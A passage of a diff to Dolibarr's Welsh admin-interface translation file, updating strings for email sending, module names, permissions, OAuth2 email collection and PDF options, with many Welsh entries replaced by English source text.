gweinydd SMTP eich Darparwr Gwasanaeth E-bost eich hun i anfon e-byst hefyd yn ddiddorol felly bydd yr holl negeseuon e-bost a anfonir o'r cais hefyd yn cael eu cadw yn eich cyfeiriadur "Anfonwyd" o'ch blwch post. -WarningPHPMailD=Hefyd, argymhellir felly newid y dull anfon e-byst i'r gwerth "SMTP". Os ydych chi wir eisiau cadw'r dull "PHP" rhagosodedig i anfon e-byst, anwybyddwch y rhybudd hwn, neu gwaredwch ef trwy osod y MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP yn gyson i 1 yn y Cartref - Gosod - Arall. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Os oes angen i'ch darparwr SMTP e-bost gyfyngu cleient e-bost i rai cyfeiriadau IP (prin iawn), dyma gyfeiriad IP yr asiant defnyddiwr post (MUA) ar gyfer eich cais CRM ERP: %s . WarningPHPMailSPF=Os yw'r enw parth yn eich cyfeiriad e-bost anfonwr wedi'i warchod gan gofnod SPF (gofynnwch i'ch cofrestrydd enw parth), rhaid i chi ychwanegu'r IPs canlynol yng nghofnod SPF DNS eich parth: %s . ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Enghraifft:
      Ar gyfer y ffurflen i greu PageUrlForDefaultValuesList=
      Enghraifft:
      Ar gyfer y dudalen sy'n rhestru trydydd parti, mae'n %s .
      Ar gyfer URL modiwlau allanol sydd wedi'u gosod mewn cyfeiriadur personol, peidiwch â chynnwys y "custom/" felly defnyddiwch lwybr fel mymodule/mypagelist.php ac nid custom/mymodule/mypagelist.php.
      Os ydych chi eisiau gwerth rhagosodedig dim ond os oes gan url rywfaint o baramedr, gallwch ddefnyddio %s AlsoDefaultValuesAreEffectiveForActionCreate=Sylwch hefyd fod trosysgrifo gwerthoedd rhagosodedig ar gyfer creu ffurflenni yn gweithio dim ond ar gyfer tudalennau sydd wedi'u dylunio'n gywir (felly gyda gweithred paramedr = creu neu ragflaenu...) EnableDefaultValues=Galluogi addasu gwerthoedd rhagosodedig -EnableOverwriteTranslation=Galluogi defnydd o gyfieithiad trosysgrifedig +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Mae cyfieithiad wedi'i ganfod ar gyfer yr allwedd gyda'r cod hwn. I newid y gwerth hwn, rhaid i chi ei olygu o Home-Setup-translation. WarningSettingSortOrder=Rhybudd, gall gosod trefn ddidoli ddiofyn arwain at wall technegol wrth fynd ar dudalen y rhestr os yw'r maes yn faes anhysbys. Os ydych chi'n profi gwall o'r fath, dewch yn ôl i'r dudalen hon i ddileu'r drefn didoli rhagosodedig ac adfer ymddygiad rhagosodedig. Field=Maes @@ -643,11 +646,13 @@ Module2300Name=Swyddi wedi'u hamserlennu Module2300Desc=Rheoli swyddi a drefnwyd (alias cron neu dabl crono) Module2400Name=Digwyddiadau/Agenda Module2400Desc=Traciwch ddigwyddiadau. Logio digwyddiadau awtomatig at ddibenion olrhain neu gofnodi digwyddiadau neu gyfarfodydd â llaw. Dyma'r prif fodiwl ar gyfer Rheoli Perthynas Cwsmer neu Werthwr yn dda. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=System Rheoli Dogfennau / Rheoli Cynnwys Electronig. Trefniadaeth awtomatig o'ch dogfennau a gynhyrchir neu a storiwyd. Rhannwch nhw pan fo angen. -Module2600Name=API/Gwasanaethau gwe (gweinydd SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Galluogi gweinydd SOAP Dolibarr sy'n darparu gwasanaethau API -Module2610Name=API/Gwasanaethau gwe (gweinydd REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Galluogi gweinydd REST Dolibarr sy'n darparu gwasanaethau API Module2660Name=Ffoniwch WebServices (cleient SOAP) Module2660Desc=Galluogi cleient gwasanaethau gwe Dolibarr (Gellir ei ddefnyddio i wthio data/ceisiadau i weinyddion allanol. Dim ond archebion Prynu sy'n cael eu cefnogi ar hyn o bryd.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Galluoedd trosi GeoIP Maxmind Module3200Name=Archifau Annewidiadwy Module3200Desc=Galluogi log na ellir ei newid o ddigwyddiadau busnes. Mae digwyddiadau'n cael eu harchifo mewn amser real. Mae'r log yn dabl darllen yn unig o ddigwyddiadau cadwyn y gellir eu hallforio. Gall y modiwl hwn fod yn orfodol ar gyfer rhai gwledydd. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Rhwydweithiau Cymdeithasol Module3400Desc=Galluogi meysydd Rhwydweithiau Cymdeithasol yn drydydd partïon a chyfeiriadau (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Ychwanegu nodweddion i reoli Incoterms Module63000Name=Adnoddau Module63000Desc=Rheoli adnoddau (argraffwyr, ceir, ystafelloedd, ...) ar gyfer dyrannu i ddigwyddiadau -Permission11=Darllenwch anfonebau cwsmeriaid +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Creu/addasu anfonebau cwsmeriaid Permission13=Annilysu anfonebau cwsmeriaid Permission14=Dilysu anfonebau cwsmeriaid @@ -714,6 +724,7 @@ Permission27=Dileu cynigion masnachol Permission28=Cynigion masnachol allforio Permission31=Darllen cynhyrchion Permission32=Creu/addasu cynhyrchion +Permission33=Read prices products Permission34=Dileu cynhyrchion Permission36=Gweld/rheoli cynhyrchion cudd Permission38=Cynnyrch allforio @@ -739,6 +750,7 @@ Permission79=Creu/addasu tanysgrifiadau Permission81=Darllenwch archebion cwsmeriaid Permission82=Creu/addasu archebion cwsmeriaid Permission84=Dilysu archebion cwsmeriaid +Permission85=Generate the documents sales orders Permission86=Anfon archebion cwsmeriaid Permission87=Cau archebion cwsmeriaid Permission88=Canslo archebion cwsmeriaid @@ -840,9 +852,9 @@ Permission286=Allforio cysylltiadau Permission291=Darllen tariffau Permission292=Gosod caniatadau ar y tariffau Permission293=Addasu tariffau cwsmeriaid -Permission300=Darllen codau bar -Permission301=Creu/addasu codau bar -Permission302=Dileu codau bar +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Darllen gwasanaethau Permission312=Neilltuo gwasanaeth/tanysgrifiad i gontract Permission331=Darllenwch nodau tudalen @@ -874,6 +886,7 @@ Permission525=Cyfrifiannell benthyciad mynediad Permission527=Benthyciadau allforio Permission531=Darllen gwasanaethau Permission532=Creu/addasu gwasanaethau +Permission533=Read prices services Permission534=Dileu gwasanaethau Permission536=Gweld/rheoli gwasanaethau cudd Permission538=Gwasanaethau allforio @@ -937,7 +950,7 @@ Permission1190=Cymeradwyo (ail gymeradwyaeth) archebion prynu Permission1191=Allforio archebion cyflenwyr a'u priodoleddau Permission1201=Cael canlyniad allforio Permission1202=Creu/Addasu allforyn -Permission1231=Darllen anfonebau gwerthwr +Permission1231=Read vendor invoices (and payments) Permission1232=Creu/addasu anfonebau gwerthwr Permission1233=Dilysu anfonebau gwerthwr Permission1234=Dileu anfonebau gwerthwr @@ -968,13 +981,14 @@ Permission3301=Cynhyrchu modiwlau newydd Permission4001=Darllen sgil/swydd/swydd Permission4002=Creu/addasu sgil/swydd/swydd Permission4003=Dileu sgil/swydd/swydd -Permission4020=Darllenwch werthusiadau -Permission4021=Creu/addasu eich gwerthusiad -Permission4022=Dilysu gwerthusiad -Permission4023=Dileu gwerthusiad -Permission4030=Gweler y ddewislen cymharu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Darllenwch gynnwys y wefan Permission10002=Creu/addasu cynnwys gwefan (cynnwys html a javascript) Permission10003=Creu/addasu cynnwys gwefan (cod php deinamig). Peryglus, rhaid ei gadw i ddatblygwyr cyfyngedig. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Math o waredu asedau TypeOfUnit=Math o uned SetupSaved=Gosodiad wedi'i gadw SetupNotSaved=Nid yw'r gosodiad wedi'i gadw +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Yn ôl i'r rhestr modiwlau BackToDictionaryList=Yn ôl i'r rhestr Geiriaduron TypeOfRevenueStamp=Math o stamp treth @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      Mae'r meddalwedd hwn yn SetupDescription5=Mae cofnodion dewislen Setup eraill yn rheoli paramedrau dewisol. SetupDescriptionLink= %s - %s SetupDescription3b=Paramedrau sylfaenol a ddefnyddir i addasu ymddygiad diofyn eich cais (e.e. ar gyfer nodweddion sy'n gysylltiedig â gwlad). -SetupDescription4b=Mae'r feddalwedd hon yn gyfres o lawer o fodiwlau/cymwysiadau. Rhaid galluogi a ffurfweddu'r modiwlau sy'n gysylltiedig â'ch anghenion. Bydd cofnodion dewislen yn ymddangos gyda gweithrediad y modiwlau hyn. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Digwyddiadau diogelwch sy'n cael eu harchwilio NoSecurityEventsAreAduited=Nid oes unrhyw ddigwyddiadau diogelwch yn cael eu harchwilio. Gallwch eu galluogi o ddewislen %s Audit=Digwyddiadau diogelwch @@ -1235,11 +1253,13 @@ BrowserName=Enw porwr BrowserOS=Porwr OS ListOfSecurityEvents=Rhestr o ddigwyddiadau diogelwch Dolibarr SecurityEventsPurged=Cael gwared ar ddigwyddiadau diogelwch +TrackableSecurityEvents=Trackable security events LogEventDesc=Galluogi logio ar gyfer digwyddiadau diogelwch penodol. Gweinyddwyr y log trwy ddewislen %s - %s . Rhybudd, gall y nodwedd hon gynhyrchu llawer iawn o ddata yn y gronfa ddata. AreaForAdminOnly=Gall paramedrau gosod gael eu gosod gan ddefnyddwyr gweinyddwr yn unig. SystemInfoDesc=Mae gwybodaeth system yn wybodaeth dechnegol amrywiol a gewch yn y modd darllen yn unig ac yn weladwy i weinyddwyr yn unig. SystemAreaForAdminOnly=Mae'r maes hwn ar gael i ddefnyddwyr gweinyddwyr yn unig. Ni all hawliau defnyddwyr Dolibarr newid y cyfyngiad hwn. CompanyFundationDesc=Golygu gwybodaeth eich cwmni/sefydliad. Cliciwch ar y botwm "%s" ar waelod y dudalen pan fydd wedi'i wneud. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Os oes gennych gyfrifydd/ceidwad llyfrau allanol, gallwch olygu'r wybodaeth yma. AccountantFileNumber=Cod cyfrifydd DisplayDesc=Gellir addasu paramedrau sy'n effeithio ar edrychiad a chyflwyniad y cais yma. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=Mae sbardunau yn y ffeil hon yn weithredol gan fod m GeneratedPasswordDesc=Dewiswch y dull i'w ddefnyddio ar gyfer cyfrineiriau a gynhyrchir yn awtomatig. DictionaryDesc=Mewnosodwch yr holl ddata cyfeirio. Gallwch ychwanegu eich gwerthoedd at y rhagosodiad. ConstDesc=Mae'r dudalen hon yn eich galluogi i olygu (diystyru) paramedrau nad ydynt ar gael mewn tudalennau eraill. Paramedrau neilltuedig yw'r rhain yn bennaf ar gyfer datblygwyr / datrys problemau uwch yn unig. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Mae'r holl baramedrau eraill sy'n ymwneud â diogelwch wedi'u diffinio yma. LimitsSetup=Cyfyngiadau / Gosodiad manwl gywir LimitsDesc=Gallwch ddiffinio terfynau, manwl gywirdeb ac optimeiddiadau a ddefnyddir gan Dolibarr yma @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Rhaid i chi redeg y gorchymyn h YourPHPDoesNotHaveSSLSupport=Nid yw swyddogaethau SSL ar gael yn eich PHP DownloadMoreSkins=Mwy o grwyn i'w lawrlwytho SimpleNumRefModelDesc=Yn dychwelyd y rhif cyfeirnod yn y fformat %syymm-nnnn lle mai ie yw'r flwyddyn, mm yw'r mis ac nnnn yn rhif awto-cynnydd dilyniannol heb unrhyw ailosodiad +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Yn dychwelyd y rhif cyfeirnod yn y fformat %s-nnnn lle mae nnnn yn rhif awto-gynnydd dilyniannol heb unrhyw ailosodiad ShowProfIdInAddress=Dangos ID proffesiynol gyda chyfeiriadau ShowVATIntaInAddress=Cuddio rhif TAW o fewn y Gymuned @@ -1376,7 +1399,7 @@ GetBarCode=Cael cod bar NumberingModules=Modelau rhifo DocumentModules=Modelau dogfen ##### Module password generation -PasswordGenerationStandard=Dychwelyd cyfrinair a gynhyrchwyd yn unol ag algorithm mewnol Dolibarr: %s nodau sy'n cynnwys rhifau a rennir a nodau mewn llythrennau bach. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Peidiwch ag awgrymu cyfrinair a gynhyrchir. Rhaid teipio cyfrinair â llaw. PasswordGenerationPerso=Dychwelwch gyfrinair yn ôl eich cyfluniad personol. SetupPerso=Yn ôl eich cyfluniad @@ -1430,6 +1453,10 @@ SuppliersPayment=Taliadau gwerthwr SupplierPaymentSetup=Gosod taliadau gwerthwr InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Gosod modiwlau cynigion masnachol ProposalsNumberingModules=Modelau rhifo cynigion masnachol @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=Dyfrnod ar gontractau drafft (dim os yn wag) ##### Members ##### MembersSetup=Gosod modiwl aelodau MemberMainOptions=Prif opsiynau +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Rheoli Mewngofnodi ar gyfer pob aelod AdherentMailRequired=Mae angen e-bost i greu aelod newydd MemberSendInformationByMailByDefault=Mae'r blwch ticio i anfon cadarnhad post at aelodau (dilysiad neu danysgrifiad newydd) ymlaen yn ddiofyn MemberCreateAnExternalUserForSubscriptionValidated=Creu mewngofnod defnyddiwr allanol ar gyfer pob tanysgrifiad aelod newydd a ddilysir -VisitorCanChooseItsPaymentMode=Gall ymwelwyr ddewis o'r dulliau talu sydd ar gael +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Galluogi nodyn atgoffa awtomatig trwy e-bost o danysgrifiadau sydd wedi dod i ben. Nodyn: Rhaid galluogi modiwl %s a gosod yn gywir i anfon nodiadau atgoffa. MembersDocModules=Templedi dogfen ar gyfer dogfennau a gynhyrchir o gofnod aelod ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=Ysgogi golygydd uwch ar gyfer: FCKeditorForNotePublic=WYSIWIG creu/argraffiad o'r maes "nodiadau cyhoeddus" o elfennau FCKeditorForNotePrivate=WYSIWIG creu/argraffiad o'r maes "nodiadau preifat" o elfennau FCKeditorForCompany=WYSIWIG creu/argraffiad o ddisgrifiad maes o elfennau (ac eithrio cynhyrchion/gwasanaethau) -FCKeditorForProduct=WYSIWIG creu/argraffiad o ddisgrifiad maes o gynnyrch/gwasanaethau -FCKeditorForProductDetails=Mae WYSIWIG creu/rhifyn cynnyrch yn rhoi manylion llinellau ar gyfer pob endid (cynigion, archebion, anfonebau, ac ati...). Rhybudd: Nid yw defnyddio'r opsiwn hwn ar gyfer yr achos hwn yn cael ei argymell o ddifrif gan y gall greu problemau gyda nodau arbennig a fformatio tudalennau wrth adeiladu ffeiliau PDF. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Creu/rhifyn WYSIWIG ar gyfer e-byst torfol (Tools-> eBost) FCKeditorForUserSignature=WYSIWIG creu/rhifyn llofnod defnyddiwr FCKeditorForMail=Creu/argraffiad WYSIWIG ar gyfer pob post (ac eithrio Offer-> e-bost) @@ -1762,7 +1790,7 @@ DetailMenuHandler=Triniwr dewislen lle i ddangos bwydlen newydd DetailMenuModule=Enw'r modiwl os daw'r cofnod ar y ddewislen o fodiwl DetailType=Math o ddewislen (top neu chwith) DetailTitre=Label dewislen neu god label i'w gyfieithu -DetailUrl=URL lle mae'r ddewislen yn anfon atoch (dolen URL Absolute neu ddolen allanol gyda http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Amod i ddangos neu beidio mynediad DetailRight=Amod i arddangos bwydlenni llwyd anawdurdodedig DetailLangs=Enw ffeil Lang ar gyfer cyfieithu cod label @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Defnyddiwch fathau o ddigwyddiadau (a reolir yn y ddewisle AGENDA_USE_EVENT_TYPE_DEFAULT=Gosodwch y gwerth rhagosodedig hwn yn awtomatig ar gyfer y math o ddigwyddiad ar ffurf creu digwyddiad AGENDA_DEFAULT_FILTER_TYPE=Gosod y math hwn o ddigwyddiad yn awtomatig yn hidlydd chwilio gwedd agenda AGENDA_DEFAULT_FILTER_STATUS=Gosodwch y statws hwn yn awtomatig ar gyfer digwyddiadau yn hidlydd chwilio gwedd agenda +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Pa wedd ydych chi am ei hagor yn ddiofyn wrth ddewis Agenda ddewislen AGENDA_REMINDER_BROWSER=Galluogi nodyn atgoffa digwyddiad ar borwr defnyddiwr (Pan gyrhaeddir y dyddiad atgoffa, bydd y porwr yn dangos naidlen. Gall pob defnyddiwr analluogi hysbysiadau o'r fath o osod hysbysiadau ei borwr). AGENDA_REMINDER_BROWSER_SOUND=Galluogi hysbysiad sain @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Nid yw gostyngiad stoc mewn POS yn gy CashDeskYouDidNotDisableStockDecease=Ni wnaethoch analluogi gostyngiad stoc wrth werthu o'r Man Gwerthu. Felly mae angen warws. CashDeskForceDecreaseStockLabel=Gorfodwyd gostyngiad stoc ar gyfer swp-gynhyrchion. CashDeskForceDecreaseStockDesc=Gostyngwch yn gyntaf erbyn y dyddiadau bwyta heibio a gwerthu hynaf. -CashDeskReaderKeyCodeForEnter=Cod allweddol ar gyfer "Enter" wedi'i ddiffinio yn y darllenydd cod bar (Enghraifft: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Gosod modiwl nod tudalen BookmarkDesc=Mae'r modiwl hwn yn eich galluogi i reoli nodau tudalen. Gallwch hefyd ychwanegu llwybrau byr at unrhyw dudalennau Dolibarr neu wefannau allanol ar eich dewislen chwith. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modelau rhifo anfonebau gwerthwr IfSetToYesDontForgetPermission=Os yw gwerth di-nwl wedi'i osod, peidiwch ag anghofio rhoi caniatâd i grwpiau neu ddefnyddwyr a ganiateir ar gyfer yr ail gymeradwyaeth ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Gosod modiwl GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Llwybr i ffeil yn cynnwys cyfieithiad ip i wlad Maxmind.
      Enghreifftiau:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/GeoIP.dat +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Sylwch fod yn rhaid i'ch ffeil data ip i wlad fod y tu mewn i gyfeiriadur y gall eich PHP ei ddarllen (Gwiriwch eich gosodiadau PHP open_basedir a chaniatâd system ffeiliau). YouCanDownloadFreeDatFileTo=Gallwch chi lawrlwytho fersiwn demo am ddim o ffeil wlad Maxmind GeoIP yn %s. YouCanDownloadAdvancedDatFileTo=Gallwch hefyd lawrlwytho fersiwn gyflawn fwy , gyda diweddariadau, o ffeil wlad Maxmind GeoIP yn %s. @@ -1922,6 +1953,7 @@ BackupDumpWizard=Dewin i adeiladu'r ffeil dympio cronfa ddata BackupZipWizard=Dewin i adeiladu'r cyfeiriadur archif o ddogfennau SomethingMakeInstallFromWebNotPossible=Nid yw'n bosibl gosod modiwl allanol o'r rhyngwyneb gwe am y rheswm canlynol: SomethingMakeInstallFromWebNotPossible2=Am y rheswm hwn, mae'r broses uwchraddio a ddisgrifir yma yn broses â llaw y gall defnyddiwr breintiedig yn unig ei chyflawni. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Mae gosod modiwl allanol o'r rhaglen wedi'i analluogi gan eich gweinyddwr. Rhaid ichi ofyn iddo dynnu'r ffeil %s i ganiatáu'r nodwedd hon. ConfFileMustContainCustom=Mae angen i osod neu adeiladu modiwl allanol o'r cymhwysiad arbed ffeiliau'r modiwl yn y cyfeiriadur %s . Er mwyn i'r cyfeiriadur hwn gael ei brosesu gan Dolibarr, rhaid i chi osod eich conf/conf.php i ychwanegu'r 2 linell gyfarwyddeb:
      $_dolibarr_main;
      $dolibarr_main_document_root_alt= '%s/custom'; HighlightLinesOnMouseHover=Amlygwch linellau tabl pan fydd symudiad y llygoden yn mynd drosodd @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=Archebion prynu MailToSendSupplierInvoice=Anfonebau gwerthwr MailToSendContract=Contractau MailToSendReception=Derbyniadau +MailToExpenseReport=Expense reports MailToThirdparty=Trydydd partïon MailToMember=Aelodau MailToUser=Defnyddwyr @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Ymyl dde ar PDF MAIN_PDF_MARGIN_TOP=Ymyl uchaf ar PDF MAIN_PDF_MARGIN_BOTTOM=Ymyl gwaelod ar PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Uchder ar gyfer y logo ar PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Ychwanegu colofn ar gyfer llun ar linellau cynnig MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Lled y golofn os ychwanegir llun ar linellau MAIN_PDF_NO_SENDER_FRAME=Cuddio borderi ar ffrâm cyfeiriad anfonwr @@ -2047,6 +2081,8 @@ RemoveSpecialChars=Dileu nodau arbennig COMPANY_AQUARIUM_CLEAN_REGEX=Hidlydd Regex i lanhau gwerth (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Hidlydd Regex i lanhau gwerth (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Ni chaniateir copi dyblyg +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Swyddog Diogelu Data (DPO, Data Preifatrwydd neu gyswllt GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Testun cymorth i'w ddangos ar y cyngor @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Ychwanegwch swydd wedi'i hamserlennu a thudalen sefydlu i sganio blychau e-bost yn rheolaidd (gan ddefnyddio protocol IMAP) a chofnodi negeseuon e-bost a dderbyniwyd yn eich cais, yn y lle iawn a/neu greu rhai cofnodion yn awtomatig (fel canllawiau). NewEmailCollector=Casglwr E-bost Newydd EMailHost=Gwesteiwr gweinydd IMAP e-bost +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Cyfeiriadur ffynhonnell blwch post MailboxTargetDirectory=Cyfeiriadur targed blwch post EmailcollectorOperations=Gweithrediadau i'w gwneud gan y casglwr EmailcollectorOperationsDesc=Gweithredir gweithrediadau o'r top i'r gwaelod MaxEmailCollectPerCollect=Uchafswm nifer y negeseuon e-bost a gasglwyd fesul casgliad +TestCollectNow=Test collect CollectNow=Casglwch yn awr ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Dyddiad y cais casglu diweddaraf @@ -2097,6 +2140,7 @@ CodeLastResult=Cod canlyniad diweddaraf NbOfEmailsInInbox=Nifer y negeseuon e-bost yn y cyfeiriadur ffynhonnell LoadThirdPartyFromName=Llwytho chwiliad trydydd parti ar %s (llwyth yn unig) LoadThirdPartyFromNameOrCreate=Llwythwch chwiliad trydydd parti ar %s (creu os na chanfyddir) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Cadw'r ffeiliau sydd wedi'u hatodi i mewn i ddogfennau gwrthrych os canfyddir cyf o wrthrych ym mhwnc e-bost. WithDolTrackingID=Neges o sgwrs a gychwynnwyd gan e-bost cyntaf a anfonwyd o Ddolibarr WithoutDolTrackingID=Neges o sgwrs a gychwynnwyd gan e-bost cyntaf NID anfonwyd o Ddolibarr @@ -2106,7 +2150,7 @@ CreateCandidature=Creu cais am swydd FormatZip=Sip MainMenuCode=Cod mynediad dewislen (prif ddewislen) ECMAutoTree=Dangos coeden ECM awtomatig -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Oriau agor OpeningHoursDesc=Nodwch yma oriau agor arferol eich cwmni. ResourceSetup=Ffurfweddu modiwl Adnodd @@ -2171,6 +2215,7 @@ ShowProjectLabel=Label Prosiect PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Os ydych chi am i rai testunau yn eich PDF gael eu dyblygu mewn 2 iaith wahanol yn yr un PDF a gynhyrchir, rhaid i chi osod yma yr ail iaith hon felly bydd PDF a gynhyrchir yn cynnwys 2 iaith wahanol ar yr un dudalen, yr un a ddewisir wrth gynhyrchu PDF a'r un hon ( dim ond ychydig o dempledi PDF sy'n cefnogi hyn). Cadwch yn wag am 1 iaith fesul PDF. PDF_USE_A=Cynhyrchwch ddogfennau PDF gyda fformat PDF/A yn lle fformat PDF defaut FafaIconSocialNetworksDesc=Rhowch god eicon FontAwesome yma. Os nad ydych chi'n gwybod beth yw FontAwesome, gallwch ddefnyddio'r llyfr cyfeiriadau gwerth generig. @@ -2199,12 +2244,12 @@ MailToPartnership=Partneriaeth AGENDA_EVENT_DEFAULT_STATUS=Statws digwyddiad diofyn wrth greu digwyddiad o'r ffurflen YouShouldDisablePHPFunctions=Dylech analluogi swyddogaethau PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Ac eithrio os oes angen i chi redeg gorchmynion system mewn cod arfer, dylech analluogi swyddogaethau PHP -PHPFunctionsRequiredForCLI=At ddiben cragen (fel gwneud copi wrth gefn o swydd wedi'i drefnu neu redeg rhaglen anitivurs), 